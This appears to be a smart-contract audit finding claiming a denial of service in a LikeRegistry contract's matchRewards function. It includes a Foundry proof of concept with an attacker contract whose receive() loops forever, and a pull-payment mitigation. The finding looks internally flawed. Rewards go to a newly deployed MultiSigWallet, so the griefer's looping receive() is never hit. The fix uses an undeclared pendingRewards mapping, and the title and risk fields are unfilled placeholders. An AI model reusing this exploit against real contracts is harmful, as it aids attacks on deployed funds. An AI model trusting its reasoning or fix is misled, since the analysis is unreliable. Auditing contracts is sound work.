Root + Impact
Description
function matchRewards(address from, address to) internal {
uint256 matchUserOne = userBalances[from];
uint256 matchUserTwo = userBalances[to];
userBalances[from] = 0;
userBalances[to] = 0;
uint256 totalRewards = matchUserOne + matchUserTwo;
uint256 matchingFees = (totalRewards * FIXEDFEE) / 100;
uint256 rewards = totalRewards - matchingFees;
totalFees += matchingFees;
MultiSigWallet multiSigWallet = new MultiSigWallet(from, to);
(bool success,) = payable(address(multiSigWallet)).call{value: rewards}("");
require(success, "Transfer failed");
}
Risk
Likelihood:
Impact:
Proof of Concept
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/LikeRegistry.sol";
import "../src/SoulboundProfileNFT.sol";
contract GasGriefProfile {
LikeRegistry public registry;
constructor(address _registry) {
registry = LikeRegistry(_registry);
}
function likeVictim(address victim) external payable {
registry.likeUser{value: 1 ether}(victim);
}
receive() external payable {
uint256 i;
while (true) { i++; }
}
}
contract MultiSigDeployDoSTest is Test {
LikeRegistry registry;
SoulboundProfileNFT nft;
address victim = makeAddr("victim");
GasGriefProfile griefContract;
function setUp() public {
nft = new SoulboundProfileNFT();
registry = new LikeRegistry(address(nft));
vm.prank(victim);
nft.mintProfile("Victim", 25, "ipfs://victim");
griefContract = new GasGriefProfile(address(registry));
vm.prank(address(griefContract));
nft.mintProfile("Griefer", 26, "ipfs://griefer");
deal(victim, 2 ether);
deal(address(griefContract), 2 ether);
}
function test_matchDoS() public {
vm.prank(victim);
registry.likeUser{value: 1 ether}(address(griefContract));
vm.expectRevert();
griefContract.likeVictim{value: 1 ether}(victim);
assertEq(address(registry).balance, 1 ether);
}
}
Recommended Mitigation
Replace the push-payment model with a pull-payment (withdrawal) pattern. Store the deployed MultiSig address and let users claim their funds separately, so a failed ETH transfer never reverts the match state:
mapping(address => address) public matchWallet;
function matchRewards(address from, address to) internal {
uint256 matchUserOne = userBalances[from];
uint256 matchUserTwo = userBalances[to];
userBalances[from] = 0;
userBalances[to] = 0;
uint256 totalRewards = matchUserOne + matchUserTwo;
uint256 matchingFees = (totalRewards * FIXEDFEE) / 100;
uint256 rewards = totalRewards - matchingFees;
totalFees += matchingFees;
MultiSigWallet multiSigWallet = new MultiSigWallet(from, to);
address walletAddr = address(multiSigWallet);
matchWallet[from] = walletAddr;
matchWallet[to] = walletAddr;
pendingRewards[walletAddr] = rewards;
}
function claimMatchFunds(address walletAddr) external {
uint256 amount = pendingRewards[walletAddr];
require(amount > 0, "Nothing to claim");
pendingRewards[walletAddr] = 0;
(bool success,) = payable(walletAddr).call{value: amount}("");
require(success, "Transfer failed");
}